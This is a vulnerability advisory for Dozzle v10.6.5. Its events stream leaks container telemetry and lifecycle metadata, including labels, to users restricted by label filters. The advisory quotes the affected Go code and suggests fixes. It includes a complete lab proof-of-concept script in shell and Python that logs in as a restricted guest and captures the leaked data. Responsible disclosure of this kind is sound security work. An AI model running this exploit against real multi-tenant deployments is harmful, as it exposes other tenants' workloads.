Dozzle EUVD-2026-86343

Summary

Dozzle supports per-user label filters in users.yml that are documented as an access-control boundary: "Filters are used to restrict the containers that a user can see" and "the guest user can only see containers with the label com.example.app … useful for restricting access to specific containers" (docs/guide/authentication.md). This is the mechanism operators use to give different users/tenants visibility into disjoint subsets of containers on the same host.

The events stream handler streamEvents (GET /api/events/stream) honors that filter for the initial container list and for the incremental containers-changed updates, but it forwards two other channels - container-stat (live per-container CPU, memory, network and disk telemetry) and container-event (container lifecycle events: start/die/destroy/rename/pause/unpause, with the container's full attribute/label set) - to every authenticated client unconditionally, with no comparison against the caller's label filter. The upstream subscription SubscribeEventsAndStats fans out across every Docker client/host and never receives a label filter at all.

As a result, any authenticated user - including one explicitly constrained to a single label scope - receives live resource telemetry for every container on every monitored host, plus lifecycle events carrying each container's name, image and complete label map. This crosses the exact isolation boundary the filter feature is documented to enforce. The leak requires no special role (it is not gated behind the shell/actions/download roles) and works on the local Docker host, so it is distinct from the previously-patched agent-path exec/attach bypass (CVE-2026-24740 / GHSA-m855-r557-5rc5) and from the exec/attach CSWSH issue (CVE-2026-44985 / GHSA-j643-x8pv-8m67).

Affected code (v10.6.5)

internal/web/events.go - streamEvents. The handler resolves the caller's userLabels and applies them to the initial list (ListAllContainers(userLabels)) and to the containers-changed increment (ListContainersForHost(event.Host, userLabels)), but forwards container-stat and the raw container-event with no filter check:

h.hostService.SubscribeEventsAndStats(r.Context(), events, stats)   // no labels passed
...
userLabels := h.config.Labels
if h.config.Authorization.Provider != NONE {
    user := auth.UserFromContext(r.Context())
    if user.ContainerLabels.Exists() {
        userLabels = user.ContainerLabels
    }
}
allContainers, errors := h.hostService.ListAllContainers(userLabels)   // filtered (correct)
...
case stat := <-stats:
    if err := sseWriter.Event("container-stat", stat); err != nil {     // NOT filtered
        ...
    }
case event, ok := <-events:
    ...
    switch event.Name {
    case "start", "die", "destroy", "rename", "pause", "unpause":
        if event.Name == "start" || event.Name == "rename" {
            if containers, err := h.hostService.ListContainersForHost(event.Host, userLabels); err == nil {
                ... sseWriter.Event("containers-changed", containers) ... // filtered (correct)
            }
        }
        if err := sseWriter.Event("container-event", event); err != nil { // NOT filtered
            ...
        }

internal/support/docker/multi_host_service.go - SubscribeEventsAndStats subscribes to events and stats from every client with no label filter argument:

func (m *MultiHostService) SubscribeEventsAndStats(ctx context.Context, events chan<- container.ContainerEvent, stats chan<- container.ContainerStat) {
    for _, client := range m.manager.List() {
        client.SubscribeEvents(ctx, events)
        client.SubscribeStats(ctx, stats)
    }
}

The payloads carry the disclosed data. ContainerStat (internal/container/types.go) includes id, cpu, memory, memoryUsage, networkRxTotal, networkTxTotal, diskReadTotal, diskWriteTotal. ContainerEvent includes host, actorId and actorAttributes (a map[string]string), which for start events contains the container name, image, and every label.

Attacker model / precondition

The attacker is an authenticated low-privilege user of a Dozzle instance configured with simple auth (DOZZLE_AUTH_PROVIDER=simple) and at least one user whose filter: restricts them to a subset of containers - the standard multi-user / multi-tenant configuration the filter feature exists for. The attacker holds valid credentials for such a restricted account (or any account; the leak applies to whatever the account's filter excludes). No shell/actions/download role is required and no victim interaction is needed; the attacker simply opens the SSE stream that the normal UI already opens on load.

What bounds severity: the disclosure is limited to container metadata and resource telemetry - it does not by itself expose container log contents, environment-variable values, or the ability to exec/attach (those paths apply the filter correctly on the local host). It requires an authenticated account and only matters when per-user filters are actually used to separate tenants/environments; a single-user or unfiltered deployment has nothing to leak. Hence Confidentiality:Low, no Integrity/Availability impact.

Impact

A user constrained to one label scope can continuously enumerate, on every monitored host:

• The existence and identity of every container outside their scope, via container-event actorId plus actorAttributes (container name, image name, and the full label map - which is exactly the information the filter feature is meant to hide, and may itself encode tenant/project/environment names such as secretproject=acme-payroll).
• Live operational telemetry for those containers - CPU%, memory% and bytes, network RX/TX totals, disk read/write totals - updated every few seconds, enabling activity profiling, traffic/throughput inference, and load monitoring of other tenants' workloads.
• Lifecycle activity (deployments, restarts, crashes, pauses) of out-of-scope containers in real time.

In a multi-tenant or environment-segregated deployment (dev user must not see prod, tenant A must not see tenant B), this defeats the intended isolation for the telemetry/metadata plane while the UI still presents the user with their correctly-filtered single-container view.

Proof of Concept (complete - runs on 127.0.0.1 only)

Lab only. Requires Docker on the local host. Uses the official amir20/dozzle:v10.6.5 image. It creates one container the guest user is allowed to see (label visible=yes) and one the guest must NOT see (dz_secret, no such label), logs in as the restricted guest, and shows that the documented filtered channel returns exactly the one authorized container while the container-stat and container-event channels leak the forbidden container's telemetry and metadata.

set -e
WORK=$(mktemp -d); cd "$WORK"; mkdir -p data
# 1. Build a users.yml with an unrestricted admin and a guest filtered to label=visible=yes.
docker run --rm amir20/dozzle:v10.6.5 generate admin --password adminpass --name Admin > data/users.yml
docker run --rm amir20/dozzle:v10.6.5 generate guest --password guestpass --name Guest \
  --user-filter "label=visible=yes" --user-roles all > guest.yml
python3 - <<'PY'
admin=open("data/users.yml").read()
guest=open("guest.yml").read().split("users:\n",1)[1]
open("data/users.yml","w").write(admin.rstrip()+"\n"+guest)
PY
# 2. Start two workload containers: one the guest IS allowed to see, one it is NOT.
docker rm -f dz_visible dz_secret dozzle_lab 2>/dev/null || true
docker run -d --name dz_visible --label visible=yes alpine \
  sh -c 'while true; do echo "visible-log $(date)"; sleep 2; done' >/dev/null
docker run -d --name dz_secret --label secretproject=acme-payroll alpine \
  sh -c 'while true; do echo "SECRET-log $(date)"; sleep 2; done' >/dev/null
# 3. Start Dozzle v10.6.5 with simple auth, bound to loopback only.
docker run -d --name dozzle_lab -p 127.0.0.1:8083:8080 \
  -v /var/run/docker.sock:/var/run/docker.sock:ro \
  -v "$PWD/data:/data" \
  -e DOZZLE_AUTH_PROVIDER=simple \
  amir20/dozzle:v10.6.5 >/dev/null
sleep 4

B=http://127.0.0.1:8083
SECRET_ID=$(docker inspect -f '{{.Id}}' dz_secret)
VIS_ID=$(docker inspect -f '{{.Id}}' dz_visible)
# 4. Authenticate as the restricted guest.
curl -s -c guest.cookies -X POST "$B/api/token" -d 'username=guest' -d 'password=guestpass' -o /dev/null
# 5. Capture the events SSE stream as the guest for ~10s, triggering a lifecycle
#    event on the forbidden container partway through.
( timeout 10 curl -s -N -b guest.cookies "$B/api/events/stream" > guest_events.txt 2>/dev/null ) &
sleep 3
docker restart dz_secret >/dev/null
# generate die/start container-events for dz_secret
wait
# 6. Analyze: the documented filtered channel vs the two leaking channels.
python3 - "$SECRET_ID" "$VIS_ID" <<'PY'
import json,sys
secret,vis=sys.argv[1],sys.argv[2]; s12,v12=secret[:12],vis[:12]
ev=None; list_ids=set(); stat_ids=set(); evt=[]
secret_stat=None; secret_start_attrs=None
for line in open("guest_events.txt"):
    line=line.rstrip("\n")
    if line.startswith("event:"): ev=line[6:].strip()
    elif line.startswith("data:"):
        try: j=json.loads(line[5:].strip())
        except: continue
        if ev=="containers-changed" and isinstance(j,list):
            for c in j:
                if isinstance(c,dict) and c.get("id"): list_ids.add(c["id"])
        elif ev=="container-stat" and isinstance(j,dict):
            if j.get("id"): stat_ids.add(j["id"])
            if j.get("id")==s12: secret_stat=j
        elif ev=="container-event" and isinstance(j,dict):
            evt.append((j.get("name"),j.get("actorId")))
            if j.get("actorId")==s12 and j.get("actorAttributes"):
                secret_start_attrs=j["actorAttributes"]
print("=== DOCUMENTED FILTERED CHANNEL (containers-changed / initial list) ===")
print("  containers the guest is authorized to see:", len(list_ids), "->", sorted(x[:12] for x in list_ids))
print("  secret container present?:", s12 in {x[:12] for x in list_ids}, "(expected False)")
print()
print("=== LEAK CHANNEL 1: container-stat (NOT filtered) ===")
print("  distinct containers in stat stream:", len(stat_ids))
print("  secret container telemetry leaked?:", s12 in {x[:12] for x in stat_ids}, "(VULN if True)")
if secret_stat: print("  leaked dz_secret stat payload:", json.dumps(secret_stat))
print()
print("=== LEAK CHANNEL 2: container-event (NOT filtered) ===")
print("  lifecycle events leaked for dz_secret:", [e for e in evt if e[1]==s12])
if secret_start_attrs: print("  leaked dz_secret attributes:", json.dumps(secret_start_attrs))
PY
# 7. Cleanup.
docker rm -f dz_visible dz_secret dozzle_lab >/dev/null
cd /; rm -rf "$WORK"

Observed output (host details elided; the salient lines):

=== DOCUMENTED FILTERED CHANNEL (containers-changed / initial list) ===
  containers the guest is authorized to see: 1 -> ['87a94222ba1d']
  secret container present?: False (expected False)

=== LEAK CHANNEL 1: container-stat (NOT filtered) ===
  distinct containers in stat stream: 10
  secret container telemetry leaked?: True (VULN if True)
  leaked dz_secret stat payload: {"id": "9ec5e9a970d9", "cpu": 0, "memory": 0.00228, "memoryUsage": 487424, "networkRxTotal": 2444, "networkTxTotal": 126, "diskReadTotal": 0, "diskWriteTotal": 0}

=== LEAK CHANNEL 2: container-event (NOT filtered) ===
  lifecycle events leaked for dz_secret: [('die', '9ec5e9a970d9'), ('start', '9ec5e9a970d9')]
  leaked dz_secret attributes: {"env": "prod", "image": "nginx:alpine", "name": "dz_secret", "secretproject": "acme-payroll"}

The guest is authorized for exactly one container (the documented filter works for the list channel), yet the same stream delivers live telemetry for ten containers - including dz_secret - and leaks dz_secret's name, image and labels (including secretproject=acme-payroll) via lifecycle events. The negative control is the containers-changed/list channel returning a single container; the positive result is the stat/event channels returning the forbidden container.

Remediation

Apply the caller's userLabels to the container-stat and container-event channels in streamEvents, exactly as is already done for the container list. Concretely:

• Maintain, per connection, the set of container IDs visible under the caller's userLabels (it is already computed for the initial list and refreshed on containers-changed), and drop any container-stat whose id is not in that set before calling sseWriter.Event("container-stat", ...).
• For each container-event, resolve the event's container under userLabels (e.g. via FindContainer(event.Host, event.ActorID, userLabels) on the local/Docker path, which honors labels) and forward the event only if it resolves; otherwise skip it. Do the same for the container-updated and container-health branches, which carry actorId/container data for arbitrary containers.
• Alternatively/additionally, push the label filter down into SubscribeEventsAndStats so the fan-out itself only emits stats/events for containers matching the caller's filter, mirroring how SubscribeContainersStarted already takes a ContainerFilter.
• Add regression tests asserting that a user with filter: label=visible=yes receives container-stat and container-event only for matching containers, even when other containers are active on the host.

Please credit 5ud0 / Tarmo Technologies.